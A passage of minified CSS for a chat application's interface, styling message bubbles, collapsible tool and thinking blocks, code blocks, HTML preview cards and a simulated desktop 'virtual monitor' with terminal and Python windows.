8%209v2c0%20.6-.4%201-1%201H7c-.6%200-1-.4-1-1V9m6%203v3'/%3e%3c/svg%3e")}.user-bubble-action-btn.user-bubble-expand-btn:before{mask-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='%23000' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'%3E%3Cpath d='m6 9 6 6 6-6'/%3E%3C/svg%3E");-webkit-mask-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='%23000' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'%3E%3Cpath d='m6 9 6 6 6-6'/%3E%3C/svg%3E");transition:transform .26s cubic-bezier(.4,0,.2,1)}.user-bubble-action-btn.user-bubble-expand-btn.expanded:before{transform:rotate(180deg)}.assistant-message .message-text{background:var(--highlight);border-left:4px solid var(--accent)}.user-message .message-text.user-bubble-text .image-inline-row{display:flex;flex-wrap:wrap;gap:10px;line-height:1.4;padding-bottom:2px}.user-message .message-text.user-bubble-text .image-thumbnail-wrapper{position:relative;width:60px;height:60px;border-radius:6px;overflow:hidden;cursor:pointer;border:1px solid var(--border-default)}.user-message .message-text.user-bubble-text .image-thumbnail{width:100%;height:100%;object-fit:cover;display:block}.assistant-generating-block{width:100%}.text-content.assistant-generating-placeholder{display:flex;width:100%;align-items:center;gap:.08em;padding:8px 0 16px;margin:0;font-size:15px;font-weight:600;color:var(--text-primary);letter-spacing:.08em;background:transparent;border:none;box-shadow:none}.assistant-generating-letter{display:inline-block;opacity:.35;transform:translateY(0);animation:assistant-generating-wave 1.6s ease-in-out infinite}@keyframes assistant-generating-wave{0%,to{opacity:.35;transform:translateY(0)}20%{opacity:1;transform:translateY(-3px) scale(1.05)}40%{opacity:.65;transform:translateY(0)}}.thinking-content{white-space:pre-wrap;word-wrap:break-word;font-family:SF Mono,Monaco,Consolas,monospace;font-size:13px;line-height:1.6;color:var(--text-secondary);scrollbar-width:none}.thinking-content::-webkit-scrollbar{display:none}.collapsible-block{background:transparent;border-radius:12px;margin-bottom:12px;overflow:hidden;border:1px solid var(--border-default);transition:all .3s cubic-bezier(.4,0,.2,1);box-shadow:none}.collapsible-header{padding:9px 13px;cursor:pointer;display:flex;align-items:center;gap:8px;-webkit-user-select:none;user-select:none;background:transparent;transition:background-color .2s ease;position:relative;min-height:36px;max-height:36px;overflow:hidden}.collapsible-header:hover{background:var(--highlight)}body[data-theme=dark] .collapsible-header:hover{background:var(--hover-bg)!important}.arrow{width:16px;min-width:16px;height:16px;flex:0 0 16px;background-color:currentColor;mask-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Cpath d='M13.5 10L19 16L13.5 22' stroke='%23000' stroke-width='1.5' fill='none' stroke-linecap='round' stroke-linejoin='round'/%3E%3C/svg%3E");-webkit-mask-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Cpath d='M13.5 10L19 16L13.5 22' stroke='%23000' stroke-width='1.5' fill='none' stroke-linecap='round' stroke-linejoin='round'/%3E%3C/svg%3E");mask-size:contain;-webkit-mask-size:contain;mask-repeat:no-repeat;-webkit-mask-repeat:no-repeat;mask-position:center;-webkit-mask-position:center;transition:transform .3s cubic-bezier(.4,0,.2,1);color:var(--text-secondary)}.arrow:before{content:none}.collapsible-block.expanded .arrow{transform:rotate(90deg)}.status-icon{width:20px;min-width:20px;height:20px;display:inline-flex;align-items:center;justify-content:center;flex:0 0 20px}.captured-status{display:flex;align-items:center;gap:6px;font-size:14px;color:var(--text-primary)}.collapsible-content{max-height:0;overflow:hidden;opacity:0;transition:max-height .26s cubic-bezier(.4,0,.2,1),opacity .22s cubic-bezier(.4,0,.2,1),content-visibility .26s;transition-behavior:allow-discrete;scrollbar-width:none;-ms-overflow-style:none;will-change:max-height,opacity}.collapsible-content::-webkit-scrollbar{display:none}.collapsible-block:not(.expanded) .collapsible-content{content-visibility:hidden;contain-intrinsic-size:0}.collapsible-block.expanded .collapsible-content{max-height:var(--collapse-max, 600px);overflow-y:auto;opacity:1}.content-inner{padding:13px 13px 13px 37px;font-size:13px;line-height:1.6;color:var(--text-secondary);scrollbar-width:none}.content-inner::-webkit-scrollbar{display:none}.action-item{animation:slideInFade .6s cubic-bezier(.4,0,.2,1) both}.action-item.no-entry-animation{animation:none!important}.action-item.streaming-content,.action-item.immediate-show{animation:quickFadeIn .2s ease-out both}.action-item.completed-tool{animation:slideInFade .4s cubic-bezier(.4,0,.2,1) both;animation-delay:.1s}.action-item.thinking-finished{animation:none}.stacked-blocks-wrapper{margin:12px 0 8px}.stacked-shell{position:relative;border:1px solid var(--border-default);border-radius:16px;background:transparent;box-shadow:none;overflow:hidden;min-height:0}.stacked-inner{position:relative;width:100%}.stacked-viewport{overflow:hidden;position:relative;width:100%}.stacked-item{border-bottom:1px solid var(--border-default)}.stacked-item:last-child{border-bottom:none}.stacked-shell--no-borders .stacked-item{border-bottom:none}.stacked-block{margin:0;border:none;border-radius:0;box-shadow:none;background:transparent}.stacked-more-block{position:absolute;inset:0 0 auto 0;background:transparent;border-bottom:0 solid var(--border-default);display:flex;align-items:center;gap:10px;padding:0 22px;height:0;opacity:0;overflow:hidden;cursor:pointer;z-index:2;transition:height .28s cubic-bezier(.25,.9,.3,1),padding .28s cubic-bezier(.25,.9,.3,1),border-bottom-width .28s cubic-bezier(.25,.9,.3,1),opacity .16s ease}.stacked-more-block.visible{opacity:1;padding:14px 22px;border-bottom-width:1px}.more-icon{width:18px;height:18px;display:inline-block;object-fit:contain}body[data-theme=dark] .more-icon{filter:brightness(0) invert(1)}.more-copy{display:flex;flex-direction:column;gap:2px;user-select:none;-webkit-user-select:none}.more-title{font-weight:700;color:var(--text-primary)}.more-desc{color:var(--text-secondary);font-size:12px}.stacked-enter-from{opacity:0;transform:translateY(14px)}.stacked-enter-active,.stacked-appear-active{transition:all .22s cubic-bezier(.4,0,.2,1);transition-delay:.12s}.stacked-leave-active{position:absolute;width:100%;transition:all .2s cubic-bezier(.4,0,.2,1)}.stacked-leave-to{opacity:0;transform:translateY(-12px)}.stacked-appear-from{opacity:0;transform:translateY(14px)}.stacked-move{transition:transform .22s cubic-bezier(.4,0,.2,1)}.stacked-block .collapsible-content{opacity:1}.progress-indicator{position:absolute;bottom:0;left:0;height:2px;background:var(--accent);animation:progress-bar 2s ease-in-out infinite;opacity:0;transition:opacity .3s ease;pointer-events:none}.collapsible-block.processing .progress-indicator{opacity:1}@keyframes progress-bar{0%{width:0%;left:0%}50%{width:40%;left:30%}to{width:0%;left:100%}}.status-text{font-size:14px;color:var(--text-primary);font-weight:500;white-space:nowrap;flex-shrink:0}.collapsible-block.processing .status-text{color:var(--text-secondary)}.tool-desc{color:var(--text-secondary);font-size:12px;margin-left:8px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;flex:1;min-width:0}@keyframes slideInFade{0%{opacity:0;transform:translateY(20px)}to{opacity:1;transform:translateY(0)}}@keyframes quickFadeIn{0%{opacity:0;transform:translateY(5px)}to{opacity:1;transform:translateY(0)}}.text-output{margin:16px 0;color:var(--text-primary);font-size:15px;line-height:1.7}.chat-inline-card{display:block;max-width:100%;margin:14px auto;border:1px solid var(--border-default);border-radius:12px;overflow:hidden;background:transparent;box-shadow:none}.chat-inline-card__body{display:block;width:100%;overflow:hidden;border:0;background:transparent}.chat-inline-card--pending{display:flex;align-items:center;justify-content:center}.chat-inline-card__pending-tip{font-size:13px;color:var(--text-secondary)}.chat-inline-card__error,.chat-inline-image__error{font-size:12px;color:var(--text-secondary);text-align:center}.chat-inline-card__caption,.chat-inline-image figcaption{font-size:12px;color:var(--text-secondary);text-align:center;line-height:1.4;padding:0 8px}.chat-inline-card--image{display:flex;flex-direction:column;align-items:center;gap:6px;margin:14px 0;border:0;box-shadow:none}.chat-inline-card--image img{display:block;width:auto;min-width:160px;max-width:80%;max-height:720px;object-fit:contain;border-radius:12px;border:1px solid var(--border-default);box-shadow:none;background:var(--surface-card)}.chat-inline-card--error{border:1px dashed var(--accent);padding:6px 10px;border-radius:12px;background:var(--highlight)}.chat-inline-card--html{display:block;position:relative;width:100%;height:100%;margin:0}.chat-inline-html__host{height:100%}.chat-inline-card__toolbar{position:absolute;top:8px;right:8px;z-index:4;display:flex;align-items:center;gap:6px;pointer-events:none}.chat-inline-card__menu-btn{pointer-events:auto;width:26px;height:26px;border:0;background:transparent;color:var(--text-secondary);display:inline-flex;align-items:center;justify-content:center;font-size:16px;line-height:1;padding-bottom:5px;cursor:pointer;transition:color .18s ease}.chat-inline-card__menu-btn:hover{color:var(--text-primary)}.chat-inline-card__menu-btn.is-refreshing{animation:chat-inline-menu-pulse .6s ease 1}@keyframes chat-inline-menu-pulse{0%{opacity:1}40%{opacity:.35}to{opacity:1}}.chat-inline-html__host--pending{display:flex;align-items:center;justify-content:center;min-height:100%;padding:12px 14px}.chat-inline-html__pending-tip{font-size:13px;color:var(--text-secondary)}.chat-inline-html__iframe{display:block;width:100%;height:100%;border:0;background:transparent}.show-html-card-menu{position:fixed;z-index:3050;min-width:112px;padding:4px;background:var(--surface-raised);border:1px solid var(--border-default);border-radius:8px;box-shadow:var(--shadow-card);animation:show-html-card-menu-in .16s ease-out}@keyframes show-html-card-menu-in{0%{opacity:0;transform:translateY(-3px) scale(.97)}to{opacity:1;transform:translateY(0) scale(1)}}.show-html-card-menu__item{display:flex;align-items:center;width:100%;height:32px;padding:0 12px;background:none;border:none;border-radius:5px;font-size:13px;text-align:left;color:var(--text-primary);cursor:pointer;transition:background .12s ease}.show-html-card-menu__item:hover{background:var(--surface-soft)}html.show-html-fullscreen-open,html.show-html-fullscreen-open body{overflow:hidden}.show-html-fullscreen{display:none;position:fixed;top:0;left:0;right:0;height:var(--app-viewport, 100vh);z-index:3000;background:var(--surface-base);flex-direction:column}.show-html-fullscreen.is-open{display:flex}.show-html-fullscreen__bar{flex:0 0 auto;display:flex;align-items:center;justify-content:space-between;gap:12px;padding:calc(8px + env(safe-area-inset-top,0px)) calc(10px + env(safe-area-inset-right,0px)) 8px calc(16px + env(safe-area-inset-left,0px));border-bottom:1px solid var(--border-default)}.show-html-fullscreen__heading{flex:1 1 auto;min-width:0;display:flex;align-items:baseline;gap:8px}.show-html-fullscreen__title{font-size:13px;color:var(--text-secondary);line-height:1;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;min-width:0}.show-html-fullscreen__notice{flex:0 1 auto;font-size:12px;color:var(--text-tertiary);line-height:1;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.show-html-fullscreen__actions{display:flex;align-items:center;gap:8px;flex:0 0 auto}.show-html-fullscreen__btn{width:32px;height:32px;border:0;background:transparent;color:var(--text-secondary);display:inline-flex;align-items:center;justify-content:center;font-size:16px;line-height:1;cursor:pointer;transition:color .18s ease}.show-html-fullscreen__btn:hover{color:var(--text-primary)}.show-html-fullscreen__body{flex:1 1 auto;min-height:0;position:relative}.show-html-fullscreen__iframe{display:block;width:100%;height:100%;border:0;background:transparent}@media (max-width: 768px){.show-html-fullscreen__btn{width:36px;height:36px;font-size:16px}}show_html:not([data-rendered="1"]),show-html:not([data-rendered="1"]){display:block;width:100%;max-width:100%;min-height:220px;margin:14px auto;box-sizing:border-box;overflow:hidden;border:1px solid var(--border-default);border-radius:12px;background:transparent;box-shadow:none}show_html:not([data-rendered="1"])[ratio="1:1"],show-html:not([data-rendered="1"])[ratio="1:1"]{aspect-ratio:1/1}show_html:not([data-rendered="1"])[ratio="16:9"],show-html:not([data-rendered="1"])[ratio="16:9"]{aspect-ratio:16/9}show_html:not([data-rendered="1"])[ratio="9:16"],show-html:not([data-rendered="1"])[ratio="9:16"]{aspect-ratio:9/16}show_html:not([data-rendered="1"])[ratio="4:3"],show-html:not([data-rendered="1"])[ratio="4:3"]{aspect-ratio:4/3}show_html:not([data-rendered="1"])[ratio="3:4"],show-html:not([data-rendered="1"])[ratio="3:4"]{aspect-ratio:3/4}show_html[data-rendered="1"],show-html[data-rendered="1"]{display:block;box-sizing:border-box;overflow:hidden;margin:14px auto;max-width:100%;--show-html-ar: 1;width:min(620px,100% - 8px,min(90vh,900px) * var(--show-html-ar));width:min(620px,100% - 8px,min(90dvh,900px) * var(--show-html-ar));aspect-ratio:var(--show-html-ar)}.text-output .text-content{padding:0 var(--chat-content-x);max-width:100%;min-width:0;overflow-x:hidden}.text-output .text-content :not(pre)>code{font-family:JetBrains Mono,SF Mono,Fira Code,Consolas,Menlo,Monaco,Courier New,monospace;background:var(--surface-muted);color:var(--text-primary);padding:2px 5px;border-radius:4px;font-size:.9em}.text-output .text-content strong,.text-output .text-content b{font-weight:700;color:var(--text-primary)}.text-output .text-content .code-block-wrapper{margin-right:calc(var(--chat-content-x) * -1);margin-left:calc(var(--chat-content-x) * -1)}.text-output pre{font-family:JetBrains Mono,SF Mono,Fira Code,Consolas,Menlo,Monaco,Courier New,monospace!important;font-variant-ligatures:none;font-feature-settings:"liga" 0,"calt" 0;line-height:1.55;overflow-x:auto;max-width:100%;scrollbar-gutter:stable;box-sizing:border-box}.text-output pre code{font-family:JetBrains Mono,SF Mono,Fira Code,Consolas,Menlo,Monaco,Courier New,monospace!important;font-variant-ligatures:none;font-feature-settings:"liga" 0,"calt" 0;line-height:1.55;text-shadow:none;animation:none!important}.text-output .text-content table{width:max-content;min-width:100%;border-collapse:collapse;margin:0;background:var(--theme-surface-soft)}.text-output .text-content .md-table-scroll,.text-output .text-content [data-md-table-scroll="1"]{display:block;width:auto;max-width:none;margin:16px calc(var(--chat-content-x) * -1);overflow-x:auto;overflow-y:hidden;-webkit-overflow-scrolling:touch;border:1px solid var(--border-default);border-radius:12px;background:var(--theme-surface-soft);box-shadow:none}.text-output .text-content .md-table-scroll>table,.text-output .text-content [data-md-table-scroll="1"]>table{margin:0}.text-output .text-content .md-table-scroll::-webkit-scrollbar,.text-output .text-content [data-md-table-scroll="1"]::-webkit-scrollbar{height:10px}.text-output .text-content .md-table-scroll::-webkit-scrollbar-track,.text-output .text-content [data-md-table-scroll="1"]::-webkit-scrollbar-track{background:color-mix(in srgb,var(--theme-surface-muted) 70%,transparent);border-radius:999px;margin:0 8px 6px}.text-output .text-content .md-table-scroll::-webkit-scrollbar-thumb,.text-output .text-content [data-md-table-scroll="1"]::-webkit-scrollbar-thumb{background:color-mix(in srgb,var(--text-secondary) 55%,transparent);border-radius:999px}.text-output .text-content .md-table-scroll,.text-output .text-content [data-md-table-scroll="1"]{scrollbar-color:color-mix(in srgb,var(--text-secondary) 55%,transparent) color-mix(in srgb,var(--theme-surface-muted) 70%,transparent);scrollbar-width:thin}.text-output .text-content thead{background:var(--theme-chip-bg)}.text-output .text-content th,.text-output .text-content td{border:1px solid var(--border-default);padding:10px 14px;text-align:left;vertical-align:middle;font-size:14px}.text-output .text-content th{font-weight:600;color:var(--text-primary)}.text-output .text-content hr{margin:32px calc(var(--chat-content-x) * -1);border:none;border-top:1px solid var(--border-default)}.system-action{margin:12px 0;padding:10px 14px;border-radius:8px;background:linear-gradient(135deg,color-mix(in srgb,var(--state-info) 8%,transparent),color-mix(in srgb,var(--state-info) 8%,transparent));border-left:4px solid var(--state-info);color:var(--text-primary);font-size:14px;line-height:1.5}.system-action-content{display:flex;align-items:flex-start;gap:8px}.sub-agent-system-summary-line{padding:0 20px 0 15px;margin:0;font-size:15px;line-height:1.7;color:var(--text-secondary)}.append-block,.append-placeholder{margin:12px 0;padding:12px 16px;border-radius:10px;background:var(--theme-surface-soft);border-left:4px solid var(--accent);box-shadow:none;display:flex;flex-direction:column;gap:8px;color:var(--text-primary)}.append-block.append-error,.append-placeholder.append-error{background:color-mix(in srgb,var(--state-danger) 8%,var(--surface-soft));border-left-color:color-mix(in srgb,var(--state-danger) 40%,transparent)}.append-header{display:flex;align-items:center;gap:10px;font-weight:600}.code-block-wrapper{border:1px solid var(--border-default);border-radius:20px;overflow:hidden;margin:16px 0;background:var(--theme-surface-strong);min-height:80px;box-shadow:none}.code-block-wrapper[data-streaming="1"]{min-height:92px}.code-block-header{min-height:44px;background:var(--theme-surface-strong);padding:0 12px 0 18px;display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid var(--border-default)}.code-language{color:var(--text-secondary);font-size:14px;line-height:1;letter-spacing:-.01em;font-family:inherit;font-weight:500}.copy-code-btn{width:32px;height:32px;border:none;padding:0;border-radius:10px;background-color:transparent;color:var(--text-secondary);cursor:pointer;opacity:.9;transition:background-color .14s ease,color .14s ease;position:relative}.copy-code-btn:before{content:"";width:18px;height:18px;display:block;margin:auto;background:currentColor;mask:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='48'%20height='48'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3crect%20width='14'%20height='14'%20x='8'%20y='8'%20rx='2'%20ry='2'/%3e%3cpath%20d='M4%2016c-1.1%200-2-.9-2-2V4c0-1.1.9-2%202-2h10c1.1%200%202%20.9%202%202'/%3e%3c/svg%3e") center/contain no-repeat;-webkit-mask:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='48'%20height='48'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3crect%20width='14'%20height='14'%20x='8'%20y='8'%20rx='2'%20ry='2'/%3e%3cpath%20d='M4%2016c-1.1%200-2-.9-2-2V4c0-1.1.9-2%202-2h10c1.1%200%202%20.9%202%202'/%3e%3c/svg%3e") center/contain no-repeat}.copy-code-btn:hover{background-color:var(--theme-tab-active);color:var(--text-primary)}.copy-code-btn.copied:before{mask-image:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M20%206%209%2017l-5-5'%20/%3e%3c/svg%3e");-webkit-mask-image:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M20%206%209%2017l-5-5'%20/%3e%3c/svg%3e")}.code-block-wrapper pre{background:var(--theme-surface-strong)!important;padding:18px 20px 22px!important;margin:0!important;border-radius:0!important;border:none!important;font-family:JetBrains Mono,SF Mono,Fira Code,Consolas,Menlo,Monaco,Courier New,monospace!important;font-variant-ligatures:none;font-feature-settings:"liga" 0,"calt" 0;font-size:15px;line-height:1.64;overflow-x:auto;max-width:100%;scrollbar-gutter:stable;box-sizing:border-box}.code-block-wrapper[data-streaming="1"] pre{min-height:40px}.code-block-wrapper pre code{background:transparent!important;padding:0!important;border:0!important;box-shadow:none!important;color:var(--text-primary);font-family:JetBrains Mono,SF Mono,Fira Code,Consolas,Menlo,Monaco,Courier New,monospace!important;font-variant-ligatures:none;font-feature-settings:"liga" 0,"calt" 0;line-height:1.64;text-shadow:none;animation:none!important}:root[data-theme=dark] .code-block-wrapper pre,:root[data-theme=dark] .code-block-wrapper pre code,:root[data-theme=dark] .code-block-wrapper pre code span{background:transparent!important;border:0!important;box-shadow:none!important;outline:0!important;text-shadow:none!important}:root[data-theme=dark] .code-block-wrapper pre{background:var(--theme-surface-strong)!important}.streaming-text{display:block}.cursor-blink{animation:blink 1s steps(1) infinite;color:var(--accent)}@keyframes blink{0%,to{opacity:1}50%{opacity:0}}.show-file-card-root{max-width:100%}a.md-download-link{color:var(--accent-primary);text-decoration:underline;cursor:pointer;transition:opacity .15s}a.md-download-link:hover{opacity:.8}.math-block{display:block;margin:16px 0;overflow-x:auto;overflow-y:hidden;text-align:center;scrollbar-width:thin;scrollbar-color:color-mix(in srgb,var(--text-secondary) 55%,transparent) transparent}.math-block::-webkit-scrollbar{height:6px}.math-block::-webkit-scrollbar-track{background:transparent}.math-block::-webkit-scrollbar-thumb{background:color-mix(in srgb,var(--text-secondary) 55%,transparent);border-radius:999px}.math-block .katex-display{display:inline-block;margin:0;text-align:initial}.math-inline{display:inline-block;vertical-align:middle;line-height:1}body[data-theme=dark] .user-message .message-text{background:var(--badge-bg);box-shadow:none}body[data-theme=dark] .assistant-message .message-text{background:var(--badge-bg);border-left-color:var(--border-strong)}body[data-theme=dark] .thinking-block,body[data-theme=dark] .tool-block,body[data-theme=dark] .collapsible-block,body[data-theme=dark] .collapsible-header{background:var(--surface-panel)}body[data-theme=dark] .code-block-wrapper{background:var(--badge-bg);border-color:var(--border-card-strong)}body[data-theme=dark] .text-output pre{background:var(--surface-base)!important;color:var(--text-primary)}body[data-theme=dark] .text-output pre code{background:transparent!important;color:var(--text-primary)}body[data-theme=dark] .text-output .text-content table{background:var(--badge-bg)}body[data-theme=dark] .text-output .text-content thead{background:var(--surface-panel)}body[data-theme=dark] .scroll-lock-btn{background:var(--badge-bg);border-color:var(--border-card-strong);box-shadow:none}body[data-theme=dark] .scroll-lock-btn:hover{background:var(--surface-muted);box-shadow:none}body[data-theme=dark] .scroll-lock-toggle.locked .scroll-lock-btn{border-color:color-mix(in srgb,var(--on-accent) 20%,transparent);box-shadow:none}body[data-theme=dark] .scroll-lock-toggle.locked .scroll-lock-btn img{filter:brightness(0) invert(1)}body[data-theme=dark] .scroll-lock-toggle.locked .scroll-lock-btn svg{stroke:var(--text-primary)}body[data-theme=dark] .conversation-ribbon{background:var(--surface-panel)!important}body[data-theme=dark] .conversation-ribbon:after{background:var(--surface-panel)!important}body[data-theme=dark] .model-mode-dropdown{background:var(--badge-bg)!important;box-shadow:none!important}body[data-theme=dark] .dropdown-item:hover:not(.disabled){background:var(--surface-muted)!important}body[data-theme=light] .code-block-wrapper{border-color:var(--border-strong)}body[data-theme=light] .code-block-header{background:var(--surface-muted);border-bottom-color:var(--border-strong)}body[data-theme=light] .text-output .text-content table{background:var(--surface-raised)}body[data-theme=light] .text-output .text-content thead{background:var(--surface-muted)}body[data-theme=light] .text-output .text-content th,body[data-theme=light] .text-output .text-content td{border-color:var(--border-strong)}body[data-theme=light] .text-output .text-content .md-table-scroll,body[data-theme=light] .text-output .text-content [data-md-table-scroll="1"]{border-color:var(--border-strong);background:var(--surface-raised)}.virtual-monitor-surface{flex:1;display:flex;flex-direction:column;min-height:0;padding:0}.virtual-monitor-surface .monitor-stage{flex:1;display:flex;flex-direction:column;height:100%}.virtual-monitor-surface .monitor{flex:1;display:flex;flex-direction:column;background:transparent;border-radius:0;padding:0;box-shadow:none}.virtual-monitor-surface .monitor-shell{flex:1;border-radius:28px;background:linear-gradient(150deg,#101223,#1a1d33);padding:24px;display:flex;flex-direction:column;gap:16px;position:relative}.virtual-monitor-surface .monitor-top{display:flex;justify-content:space-between;align-items:center;color:#c7d5ff;letter-spacing:.04em}.virtual-monitor-surface .monitor-brand{font-size:14px;font-weight:600;letter-spacing:.08em;text-transform:uppercase}.virtual-monitor-surface .status-pill{padding:8px 20px;border-radius:18px;border:1px solid rgba(79,136,255,.5);background:#409eff2e;color:#dff3ff;font-size:13px;letter-spacing:.06em;min-width:240px;text-align:right;box-shadow:inset 0 0 12px #409eff26}.virtual-monitor-surface .status-pill-group{display:flex;align-items:center;gap:12px}.virtual-monitor-surface .progress-pill{display:inline-flex;align-items:center;gap:8px;padding:6px 14px;border-radius:16px;background:#0c1226b3;color:#e5ecff;font-size:13px;box-shadow:0 6px 18px #0c12264d;border:1px solid rgba(229,236,255,.25)}.virtual-monitor-surface .progress-pill .pulse-dot{width:8px;height:8px;border-radius:999px;background:#91a9ff;box-shadow:0 0 #91a9ff99;animation:monitor-pulse 1.4s ease-in-out infinite}@keyframes monitor-pulse{0%{box-shadow:0 0 #91a9ff80}70%{box-shadow:0 0 0 8px #91a9ff00}to{box-shadow:0 0 #91a9ff00}}.virtual-monitor-surface .monitor-screen{flex:1;border-radius:22px;background:linear-gradient(160deg,#d4e9ff,#c8dbff 45%,#ebf6ff);box-shadow:inset 0 0 0 2px #ffffff73,inset 0 60px 120px #ffffff59;position:relative;overflow:visible}.virtual-monitor-surface .desktop-layer{position:absolute;top:0;right:0;bottom:0;left:0;padding:32px;display:flex;flex-direction:column;gap:22px}.virtual-monitor-surface .desktop-section{background:#ffffff61;border-radius:18px;padding:16px;box-shadow:inset 0 0 0 1px #fff6}.virtual-monitor-surface .desktop-section.files{flex:1;overflow:auto}.virtual-monitor-surface .apps-grid,.virtual-monitor-surface .desktop-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(110px,1fr));gap:18px;align-content:start}.virtual-monitor-surface .desktop-icon{display:flex;flex-direction:column;align-items:center;gap:8px;text-align:center;padding:4px 0;color:#102a57;font-size:13px}.virtual-monitor-surface .desktop-grid .desktop-icon{opacity:0;transform:translateY(10px);transition:opacity .32s ease,transform .32s ease}.virtual-monitor-surface .desktop-grid .desktop-icon.visible{opacity:1;transform:translateY(0)}.virtual-monitor-surface .desktop-grid .desktop-icon.pending-reveal{opacity:0;transform:translateY(18px) scale(.94);pointer-events:none}.virtual-monitor-surface .desktop-icon img{width:44px;height:44px;filter:drop-shadow(0 4px 8px rgba(15,23,42,.25))}.virtual-monitor-surface .desktop-icon.app span{font-weight:600;color:#0c1c3f}.virtual-monitor-surface .window{position:absolute;border-radius:16px;background:#f4f6fbfa;border:1px solid rgba(15,23,42,.12);box-shadow:0 18px 40px #0f172a40;overflow:hidden;opacity:0;pointer-events:none;transition:opacity .4s ease,transform .3s ease;max-width:calc(100% - 36px);max-height:calc(100% - 36px)}.virtual-monitor-surface .window,.virtual-monitor-surface .window *{scrollbar-width:none;-ms-overflow-style:none}.virtual-monitor-surface .window::-webkit-scrollbar,.virtual-monitor-surface .window *::-webkit-scrollbar{display:none;width:0;height:0}.virtual-monitor-surface .monitor-screen.manual-interactive .window-header{cursor:grab;-webkit-user-select:none;user-select:none}.virtual-monitor-surface .monitor-screen.manual-interactive .window.manual-dragging .window-header{cursor:grabbing}.virtual-monitor-surface .monitor-screen.manual-interactive .window.manual-dragging{transition:none;box-shadow:0 24px 48px #0f172a59}.virtual-monitor-surface .monitor-screen.manual-interactive .window-header .traffic-dot.red{cursor:pointer}.virtual-monitor-surface .browser-window{width:500px;height:360px;top:32px;left:32px}.virtual-monitor-surface .extraction-window{width:420px;height:320px;top:48px;right:32px}.virtual-monitor-surface .folder-window{width:380px;height:320px;top:120px;right:60px}.virtual-monitor-surface .editor-window{width:420px;height:300px;top:340px;right:60px;display:flex;flex-direction:column;overflow:hidden}.virtual-monitor-surface .terminal-window{width:640px;height:400px;top:150px;left:120px;display:flex;flex-direction:column}.virtual-monitor-surface .command-window{width:520px;height:260px;top:540px;left:120px;display:flex;flex-direction:column;background:#f7f9fd;color:#0f172a;border:1px solid rgba(15,23,42,.08);box-sizing:border-box}.virtual-monitor-surface .command-body{flex:1;display:flex;flex-direction:column;gap:8px;background:#f7f9fd;color:#0f172a;font-family:JetBrains Mono,Fira Code,Consolas,monospace;font-size:13px;border-top:1px solid rgba(15,23,42,.06);padding:8px 10px 10px;box-sizing:border-box}.virtual-monitor-surface .command-input{padding:12px 14px;border-bottom:1px solid rgba(15,23,42,.08);background:#fff;white-space:pre-wrap;overflow:hidden;border-radius:12px;box-shadow:0 6px 20px #0f172a14;min-height:48px;display:flex;align-items:center;line-height:1.5;word-break:break-word}.virtual-monitor-surface .command-output{padding:12px 14px;overflow-y:auto;background:#eef2f9;border-radius:12px;border:1px solid rgba(15,23,42,.06);flex:1;max-height:100%;scrollbar-gutter:stable;box-sizing:border-box}.virtual-monitor-surface .command-line{line-height:1.5;white-space:pre-wrap}.virtual-monitor-surface .command-line.highlight{color:#16a34a}.virtual-monitor-surface .python-window{width:520px;height:320px;top:120px;left:520px;display:flex;flex-direction:column;background:#f9fbff;color:#0f172a;border:1px solid rgba(15,23,42,.08);box-sizing:border-box}.virtual-monitor-surface .python-body{flex:1;background:#f1f5fb;color:#0f172a;font-family:JetBrains Mono,Fira Code,Consolas,monospace;font-size:13px;padding:10px 12px;display:grid;grid-template-rows:auto 1fr;gap:10px;border-top:1px solid rgba(15,23,42,.06);box-sizing:border-box;scrollbar-width:none;min-height:0}.virtual-monitor-surface .python-body::-webkit-scrollbar{width:0;height:0}.virtual-monitor-surface .python-input{background:#fff;border:1px solid rgba(15,23,42,.08);border-radius:12px;padding:12px 14px;min-height:64px;max-height:180px;box-shadow:0 6px 20px #0f172a14;line-height:1.55;white-space:pre-wrap;word-break:break-word;overflow-y:auto;width:100%;box-sizing:border-box;scrollbar-width:none}.virtual-monitor-surface .python-input::-webkit-scrollbar{width:0;height:0}.virtual-monitor-surface .python-output{background:transparent;border:0;border-radius:0;padding:0;box-shadow:none;overflow-y:auto;min-height:140px;scrollbar-width:none}.virtual-monitor-surface .python-output::-webkit-scrollbar{width:0;height:0}.virtual-monitor-surface .python-block{background:#f6f8fe;border:1px solid rgba(15,23,42,.06);border-radius:10px;padding:10px 12px}.virtual-monitor-surface .python-block-title{font-weight:600;color:#1d4ed8;margin-bottom:6px}.virtual-monitor-surface .python-block pre{margin:0;white-space:pre-wrap;line-height:1.55}.virtual-monitor-surface .reader-window{width:360px;height:320px;top:60px;right:360px;display:flex;flex-direction:column;overflow:hidden}.virtual-monitor-surface .reader-body{display:flex;flex-direction:column;gap:12px;height:100%;flex:1}.virtual-monitor-surface .reading-lines{font-family:JetBrains Mono,Fira 